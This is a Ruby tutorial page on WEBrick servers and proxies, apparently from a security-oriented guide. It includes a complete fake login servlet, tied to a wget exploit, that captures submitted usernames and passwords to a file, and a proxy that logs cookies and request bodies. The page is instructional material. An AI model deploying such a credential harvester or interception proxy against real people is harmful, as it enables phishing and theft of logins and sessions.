Ruby as Web Server and Proxy

Web Server

You can run Ruby as web server for any folder/file on any unused port

ruby -run -e httpd /var/www/ -p 8000

or

require 'webrick'
server = WEBrick::HTTPServer.new :Port => 8000, :DocumentRoot => '/var/www/'
# WEBrick::Daemon.start   # Stating WEBRick as a daemon
server.start

HTTPS server

require 'webrick'
require 'webrick/https'
cert = [
  %w[CN localhost],
]
server = WEBrick::HTTPServer.new(:Port         => 8000,
                                 :SSLEnable    => true,
                                 :SSLCertName  => cert,
                                 :DocumentRoot => '/var/www/')
server.start

Advanced HTTP Server

During working on CVE-2016-4971(Wget) exploit, more advanced & custom behavior needed. Here is a web server with a fake login form that saves the collected credentials to a text file. This comes in handy when you don’t need to make customizations on apache config or you don’t have enough privileges to do so. It require no knowledge for web frameworks like Rails or Senatra.

#!/usr/bin/env ruby
#
# KING SABRI | @KINGSABRI
#
require 'webrick'
#
# Servlet: Is a Web Server with custom behavior class
# It's a subclass of WEBrick::HTTPServlet::AbstractServlet
#
class RubyfuServlet < WEBrick::HTTPServlet::AbstractServlet
  # Control 'GET' request/response
  def do_GET(req, res)
    res.status = 200
    res['Content-Type']   = "text/html; charset=UTF-8"
    res['Server']         = "Rubyfu WebServer"
    res['Cache-Control']  = "no-store, no-cache,"
    res.body              = print_login(req)
  end
  private
  # Show login
  def print_login(req)
    html = %q{
      <center>
        <table cellpadding="3" border="1">
        <tr><td colspan="2"><center><h4><b>Enter your Username and Password</b></h4></center></td></tr>
        <form method="POST" action="/login">
                <tr><td><strong><b>Username:</b></strong></td><td><input name="username" type="text"></td></tr>
                <tr><td><strong><b>Password:</b></strong></td><td><input name="password" type="password"></td></tr>
                <tr><td colspan="2"><center><h1><b><input type="submit" value="Login" /></b></h1></center></td></tr>
        </form>
        </table>
      </center>
    }
  end
end
class Login < WEBrick::HTTPServlet::AbstractServlet
  # Control 'POST' request/response
  def do_POST(req, res)
    status, content_type, body = save_login(req)
    res.body  = body
  end
  # Save POST request
  def save_login(req)
    username, password = req.query['username'], req.query['password']
    if !(username && password).empty?
      # Print Credentials to console
      puts "\n-----[ START OF POST ]-----"
      puts "[+] #{username}:#{password}"
      puts "-----[ END OF POST ]-----\n\n"
      # Write Credentials to file
      File.open("credentials.txt", '+a') {|f| f.puts "#{username}:#{password}"}
      return 200, 'text/plain', 'Success! Thank you.'
    else
      puts "[!] Empty username and password."
      return 404, 'text/plain', 'Wrong username or password!'
    end
  end
end
begin
  port = ARGV[0]
  raise if ARGV.size < 1
  # Start Web Server
  puts "[+] Starting HTTP server on port: #{port}\n"
  server = WEBrick::HTTPServer.new(ServerName: "Rubyfu HTTP Server",
                                   Port: port,
                                   BindAddress: '0.0.0.0',
                                   AccessLog: [],
                                   Logger: WEBrick::Log.new(File.open(File::NULL, 'w'))
                                   )
  server.mount("/", RubyfuServlet)
  server.mount("/login", Login)
  trap "INT" do server.shutdown end
  server.start
rescue Exception => e
  puts "ruby #{__FILE__} <WEB_SERVER_PORT>" if ARGV.size < 1
  puts e, e.backtrace
  exit 0
end

Run it

ruby webrick-server.rb 8080
[+] Starting HTTP server on port: 8080
-----[ START OF POST ]-----
[+] admin:AdminPassw0rd@!
-----[ END OF POST ]-----
-----[ START OF POST ]-----
[+] support:Puppies
-----[ END OF POST ]-----
[!] Empty username and password.
-----[ START OF POST ]-----
[+] user1:12345678
-----[ END OF POST ]-----

You’ll find credentials have been saved in ‘credentials.txt’

References

• http://ruby-doc.org/stdlib-2.0.0/libdoc/webrick/rdoc/WEBrick.html
• https://www.igvita.com/2007/02/13/building-dynamic-webrick-servers-in-ruby/
• https://rubyit.wordpress.com/2011/07/25/basic-rest-server-with-webrick/
• https://gist.github.com/Integralist/2862917

Web Proxy

Transparent Web Proxy

require 'webrick'
require 'webrick/httpproxy'
handler = proc do |req, res|
  puts "[*] Request"
  puts req.inspect
  request = req.request_line.split
  puts "METHOD: "      + "#{request[0]}"
  puts "Request URL: " + "#{request[1]}"
  puts "Request path: "+ "#{req.path}"
  puts "HTTP: "        + "#{request[2]}"
  puts "Referer: "     + "#{req['Referer']}"
  puts "User-Agent: "  + "#{req['User-Agent']}"
  puts "Host: "        + "#{req['Host']}"
  puts "Cookie: "      + "#{req['Cookie']}"
  puts "Connection: "  + "#{req['Connection']}"
  puts "Accept: "      + "#{req['accept']}"
  puts "Full header: " + "#{req.header}"
  puts "Body: "        + "#{req.body}"
  puts "----------[END OF REQUEST]----------"
  puts "\n\n"
  puts "[*] Response"
  puts res.inspect
  puts "Full header: " + "#{res.header}"
  puts "Body: " + "#{res.body}"
  puts "----------[END OF RESPONSE]----------"
  puts "\n\n\n"
end
proxy = WEBrick::HTTPProxyServer.new Port: 8000,
                                     ServerName: "RubyFuProxyServer",
                                     ServerSoftware: "RubyFu Proxy",
                                     ProxyContentHandler: handler
trap 'INT'  do proxy.shutdown end
proxy.start

Transparent Web Proxy with Authentication

Well, it was great to know that building a proxy server is that easy. Now we need to Force authentication to connect to the proxy server

To enable authentication for requests in WEBrick you will need a user database and an authenticator. To start, here’s a htpasswd database for use with a DigestAuth authenticator:

The :Realm is used to provide different access to different groups across several resources on a server. Typically you’ll need only one realm for a server.

#!/usr/bin/env ruby
require 'webrick'
require 'webrick/httpproxy'
# Start creating the config
config = { :Realm => 'RubyFuSecureProxy' }
# Create an htpasswd database file in the same script path
htpasswd = WEBrick::HTTPAuth::Htpasswd.new 'rubyfuhtpasswd'
# Set authentication type
htpasswd.auth_type = WEBrick::HTTPAuth::DigestAuth
# Add user to the password config
htpasswd.set_passwd config[:Realm], 'rubyfu', 'P@ssw0rd'
# Flush the database (Save changes)
htpasswd.flush
# Add the database to the config
config[:UserDB] = htpasswd
# Create a global DigestAuth based on the config
@digest_auth = WEBrick::HTTPAuth::DigestAuth.new config
# Authenticate requests and responses
handler = proc do |request, response|
  @digest_auth.authenticate request, response
end
proxy = WEBrick::HTTPProxyServer.new Port: 8000,
                                     ServerName: "RubyFuSecureProxy",
                                     ServerSoftware: "RubyFu Proxy",
                                     ProxyContentHandler: handler
trap 'INT'  do proxy.shutdown end
proxy.start

If you do it right, you’ll get an authentication pop-up in your browser just like below.